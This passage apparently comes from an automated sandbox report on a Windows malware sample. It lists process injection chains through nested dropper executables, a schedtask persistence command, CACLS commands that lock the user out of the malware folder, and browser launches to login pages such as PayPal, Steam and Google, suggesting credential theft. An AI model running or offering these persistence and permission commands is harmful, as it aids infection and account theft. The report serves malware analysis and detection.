N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A

Suspicious use of SetWindowsHookEx

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\Broom.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 2556 wrote to memory of 2552 N/A C:\Users\Admin\AppData\Local\Temp\72c01e925edb96b094258fa918e6e107d3435d66a3c7b.exe C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\v3132415.exe
PID 2556 wrote to memory of 2552 N/A C:\Users\Admin\AppData\Local\Temp\72c01e925edb96b094258fa918e6e107d3435d66a3c7b.exe C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\v3132415.exe
PID 2556 wrote to memory of 2552 N/A C:\Users\Admin\AppData\Local\Temp\72c01e925edb96b094258fa918e6e107d3435d66a3c7b.exe C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\v3132415.exe
PID 2552 wrote to memory of 4112 N/A C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\v3132415.exe C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\a0308403.exe
PID 2552 wrote to memory of 4112 N/A C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\v3132415.exe C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\a0308403.exe
PID 2552 wrote to memory of 2528 N/A C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\v3132415.exe C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\b3765478.exe
PID 2552 wrote to memory of 2528 N/A C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\v3132415.exe C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\b3765478.exe
PID 2552 wrote to memory of 2528 N/A C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\v3132415.exe C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\b3765478.exe
PID 2528 wrote to memory of 2572 N/A C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\b3765478.exe C:\Users\Admin\AppData\Local\Temp\925e7e99c5\pdates.exe
PID 2528 wrote to memory of 2572 N/A C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\b3765478.exe C:\Users\Admin\AppData\Local\Temp\925e7e99c5\pdates.exe
PID 2528 wrote to memory of 2572 N/A C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\b3765478.exe C:\Users\Admin\AppData\Local\Temp\925e7e99c5\pdates.exe
PID 2556 wrote to memory of 2736 N/A C:\Users\Admin\AppData\Local\Temp\72c01e925edb96b094258fa918e6e107d3435d66a3c7b.exe C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\c7275045.exe
PID 2556 wrote to memory of 2736 N/A C:\Users\Admin\AppData\Local\Temp\72c01e925edb96b094258fa918e6e107d3435d66a3c7b.exe C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\c7275045.exe
PID 2556 wrote to memory of 2736 N/A C:\Users\Admin\AppData\Local\Temp\72c01e925edb96b094258fa918e6e107d3435d66a3c7b.exe C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\c7275045.exe
PID 2572 wrote to memory of 2604 N/A C:\Users\Admin\AppData\Local\Temp\925e7e99c5\pdates.exe C:\Windows\SysWOW64\schtasks.exe
PID 2572 wrote to memory of 2604 N/A C:\Users\Admin\AppData\Local\Temp\925e7e99c5\pdates.exe C:\Windows\SysWOW64\schtasks.exe
PID 2572 wrote to memory of 2604 N/A C:\Users\Admin\AppData\Local\Temp\925e7e99c5\pdates.exe C:\Windows\SysWOW64\schtasks.exe
PID 2572 wrote to memory of 4000 N/A C:\Users\Admin\AppData\Local\Temp\925e7e99c5\pdates.exe C:\Windows\SysWOW64\cmd.exe
PID 2572 wrote to memory of 4000 N/A C:\Users\Admin\AppData\Local\Temp\925e7e99c5\pdates.exe C:\Windows\SysWOW64\cmd.exe
PID 2572 wrote to memory of 4000 N/A C:\Users\Admin\AppData\Local\Temp\925e7e99c5\pdates.exe C:\Windows\SysWOW64\cmd.exe
PID 4000 wrote to memory of 3568 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\cmd.exe
PID 4000 wrote to memory of 3568 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\cmd.exe
PID 4000 wrote to memory of 3568 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\cmd.exe
PID 4000 wrote to memory of 2004 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\cacls.exe
PID 4000 wrote to memory of 2004 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\cacls.exe
PID 4000 wrote to memory of 2004 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\cacls.exe
PID 4000 wrote to memory of 780 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\cacls.exe
PID 4000 wrote to memory of 780 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\cacls.exe
PID 4000 wrote to memory of 780 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\cacls.exe
PID 4000 wrote to memory of 3672 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\cmd.exe
PID 4000 wrote to memory of 3672 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\cmd.exe
PID 4000 wrote to memory of 3672 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\cmd.exe
PID 4000 wrote to memory of 4840 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\cacls.exe
PID 4000 wrote to memory of 4840 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\cacls.exe
PID 4000 wrote to memory of 4840 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\cacls.exe
PID 4000 wrote to memory of 4988 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\cacls.exe
PID 4000 wrote to memory of 4988 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\cacls.exe
PID 4000 wrote to memory of 4988 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\cacls.exe
PID 3196 wrote to memory of 900 N/A N/A C:\Users\Admin\AppData\Local\Temp\904.exe
PID 3196 wrote to memory of 900 N/A N/A C:\Users\Admin\AppData\Local\Temp\904.exe
PID 3196 wrote to memory of 900 N/A N/A C:\Users\Admin\AppData\Local\Temp\904.exe
PID 900 wrote to memory of 4236 N/A C:\Users\Admin\AppData\Local\Temp\904.exe C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\EG4Hg5kQ.exe
PID 900 wrote to memory of 4236 N/A C:\Users\Admin\AppData\Local\Temp\904.exe C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\EG4Hg5kQ.exe
PID 900 wrote to memory of 4236 N/A C:\Users\Admin\AppData\Local\Temp\904.exe C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\EG4Hg5kQ.exe
PID 3196 wrote to memory of 1844 N/A N/A C:\Windows\system32\cmd.exe
PID 3196 wrote to memory of 1844 N/A N/A C:\Windows\system32\cmd.exe
PID 4236 wrote to memory of 3748 N/A C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\EG4Hg5kQ.exe C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\EX5vn4em.exe
PID 4236 wrote to memory of 3748 N/A C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\EG4Hg5kQ.exe C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\EX5vn4em.exe
PID 4236 wrote to memory of 3748 N/A C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\EG4Hg5kQ.exe C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\EX5vn4em.exe
PID 3196 wrote to memory of 1324 N/A N/A C:\Users\Admin\AppData\Local\Temp\ADA.exe
PID 3196 wrote to memory of 1324 N/A N/A C:\Users\Admin\AppData\Local\Temp\ADA.exe
PID 3196 wrote to memory of 1324 N/A N/A C:\Users\Admin\AppData\Local\Temp\ADA.exe
PID 3748 wrote to memory of 2320 N/A C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\EX5vn4em.exe C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\vI2xc7UB.exe
PID 3748 wrote to memory of 2320 N/A C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\EX5vn4em.exe C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\vI2xc7UB.exe
PID 3748 wrote to memory of 2320 N/A C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\EX5vn4em.exe C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\vI2xc7UB.exe
PID 3196 wrote to memory of 3488 N/A N/A C:\Users\Admin\AppData\Local\Temp\BF5.exe
PID 3196 wrote to memory of 3488 N/A N/A C:\Users\Admin\AppData\Local\Temp\BF5.exe
PID 3196 wrote to memory of 3488 N/A N/A C:\Users\Admin\AppData\Local\Temp\BF5.exe
PID 2320 wrote to memory of 1876 N/A C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\vI2xc7UB.exe C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\Cd8de4fT.exe
PID 2320 wrote to memory of 1876 N/A C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\vI2xc7UB.exe C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\Cd8de4fT.exe
PID 2320 wrote to memory of 1876 N/A C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\vI2xc7UB.exe C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\Cd8de4fT.exe
PID 1876 wrote to memory of 776 N/A C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\Cd8de4fT.exe C:\Users\Admin\AppData\Local\Temp\IXP004.TMP\1bt58XV1.exe
PID 1876 wrote to memory of 776 N/A C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\Cd8de4fT.exe C:\Users\Admin\AppData\Local\Temp\IXP004.TMP\1bt58XV1.exe
PID 1876 wrote to memory of 776 N/A C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\Cd8de4fT.exe C:\Users\Admin\AppData\Local\Temp\IXP004.TMP\1bt58XV1.exe

Processes

C:\Users\Admin\AppData\Local\Temp\72c01e925edb96b094258fa918e6e107d3435d66a3c7b.exe

"C:\Users\Admin\AppData\Local\Temp\72c01e925edb96b094258fa918e6e107d3435d66a3c7b.exe"

C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\v3132415.exe

C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\v3132415.exe

C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\a0308403.exe

C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\a0308403.exe

C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\b3765478.exe

C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\b3765478.exe

C:\Users\Admin\AppData\Local\Temp\925e7e99c5\pdates.exe

"C:\Users\Admin\AppData\Local\Temp\925e7e99c5\pdates.exe"

C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\c7275045.exe

C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\c7275045.exe

C:\Windows\SysWOW64\schtasks.exe

"C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN pdates.exe /TR "C:\Users\Admin\AppData\Local\Temp\925e7e99c5\pdates.exe" /F

C:\Windows\SysWOW64\cmd.exe

"C:\Windows\System32\cmd.exe" /k echo Y|CACLS "pdates.exe" /P "Admin:N"&&CACLS "pdates.exe" /P "Admin:R" /E&&echo Y|CACLS "..\925e7e99c5" /P "Admin:N"&&CACLS "..\925e7e99c5" /P "Admin:R" /E&&Exit

C:\Windows\SysWOW64\cmd.exe

C:\Windows\system32\cmd.exe /S /D /c" echo Y"

C:\Windows\SysWOW64\cacls.exe

CACLS "pdates.exe" /P "Admin:N"

C:\Windows\SysWOW64\cacls.exe

CACLS "pdates.exe" /P "Admin:R" /E

C:\Windows\SysWOW64\cmd.exe

C:\Windows\system32\cmd.exe /S /D /c" echo Y"

C:\Windows\SysWOW64\cacls.exe

CACLS "..\925e7e99c5" /P "Admin:N"

C:\Windows\SysWOW64\cacls.exe

CACLS "..\925e7e99c5" /P "Admin:R" /E

C:\Users\Admin\AppData\Local\Temp\904.exe

C:\Users\Admin\AppData\Local\Temp\904.exe

C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\EG4Hg5kQ.exe

C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\EG4Hg5kQ.exe

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\A1E.bat" "

C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\EX5vn4em.exe

C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\EX5vn4em.exe

C:\Users\Admin\AppData\Local\Temp\ADA.exe

C:\Users\Admin\AppData\Local\Temp\ADA.exe

C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\vI2xc7UB.exe

C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\vI2xc7UB.exe

C:\Users\Admin\AppData\Local\Temp\BF5.exe

C:\Users\Admin\AppData\Local\Temp\BF5.exe

C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\Cd8de4fT.exe

C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\Cd8de4fT.exe

C:\Users\Admin\AppData\Local\Temp\IXP004.TMP\1bt58XV1.exe

C:\Users\Admin\AppData\Local\Temp\IXP004.TMP\1bt58XV1.exe

C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe

"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"

C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe

"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://www.facebook.com/login

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -pss -s 432 -p 4504 -ip 4504

C:\Users\Admin\AppData\Local\Temp\IXP004.TMP\2CX435if.exe

C:\Users\Admin\AppData\Local\Temp\IXP004.TMP\2CX435if.exe

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0x11c,0x120,0x124,0xf8,0x128,0x7ffaa55446f8,0x7ffaa5544708,0x7ffaa5544718

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -u -p 4504 -s 540

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://accounts.google.com/

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ffaa55446f8,0x7ffaa5544708,0x7ffaa5544718

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://store.steampowered.com/login/

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ffaa55446f8,0x7ffaa5544708,0x7ffaa5544718

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2148,10970227575804661923,12209409447375094581,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=3 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2980 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2148,10970227575804661923,12209409447375094581,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=3464 /prefetch:8

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2148,10970227575804661923,12209409447375094581,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=3452 /prefetch:3

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2148,10970227575804661923,12209409447375094581,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=3336 /prefetch:2

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2148,10970227575804661923,12209409447375094581,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=4 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2920 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2116,8763736773484938673,14759643152442964812,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2128 /prefetch:3

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2148,10970227575804661923,12209409447375094581,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2580 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://twitter.com/i/flow/login

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0x100,0x104,0x108,0xdc,0x10c,0x7ffaa55446f8,0x7ffaa5544708,0x7ffaa5544718

C:\Windows\System32\CompPkgSrv.exe

C:\Windows\System32\CompPkgSrv.exe -Embedding

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2148,10970227575804661923,12209409447375094581,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3400 /prefetch:1

C:\Windows\System32\CompPkgSrv.exe

C:\Windows\System32\CompPkgSrv.exe -Embedding

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2148,10970227575804661923,12209409447375094581,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5260 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2036,7038681547947540281,9137340784923517461,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2080 /prefetch:2

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2036,7038681547947540281,9137340784923517461,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2424 /prefetch:3

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2148,10970227575804661923,12209409447375094581,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5416 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://steamcommunity.com/openid/loginform/

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0xfc,0x100,0x104,0x48,0x108,0x7ffaa55446f8,0x7ffaa5544708,0x7ffaa5544718

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2148,10970227575804661923,12209409447375094581,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5644 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://www.epicgames.com/id/login

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0x104,0x108,0x10c,0xe0,0x110,0x7ffaa55446f8,0x7ffaa5544708,0x7ffaa5544718

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2148,10970227575804661923,12209409447375094581,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5832 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://www.paypal.com/signin

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ffaa55446f8,0x7ffaa5544708,0x7ffaa5544718

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://www.youtube.com/

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0xf8,0xfc,0x100,0xd4,0x104,0x7ffaa55446f8,0x7ffaa5544708,0x7ffaa5544718

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2148,10970227575804661923,12209409447375094581,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6044 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2148,10970227575804661923,12209409447375094581,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6016 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

